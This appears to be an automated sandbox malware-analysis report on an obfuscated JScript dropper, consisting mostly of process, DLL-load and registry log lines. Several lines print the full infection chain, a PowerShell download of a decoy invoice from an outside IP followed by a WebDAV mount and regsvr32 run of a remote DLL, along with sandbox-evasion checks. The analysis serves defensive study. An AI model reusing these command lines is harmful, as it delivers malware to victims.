Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2153.js.csv");ITextStream.WriteLine(" entry:8604 f:ieklqbp");ITextStream.WriteLine(" exec:2 f:ieklqbp");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4564			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5300			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3608	Thread sleep count: 4564 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5544	Thread sleep count: 5300 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2940	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5588	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5652	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5612	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.2068026060.0000027E297C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000009.00000002.3360105169.0000029F4CA2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.2131259143.0000022550BD8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2131259143.0000022550C3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3360087051.0000029F4CA13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3360856390.0000029F4DE58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll	Jump to behavior
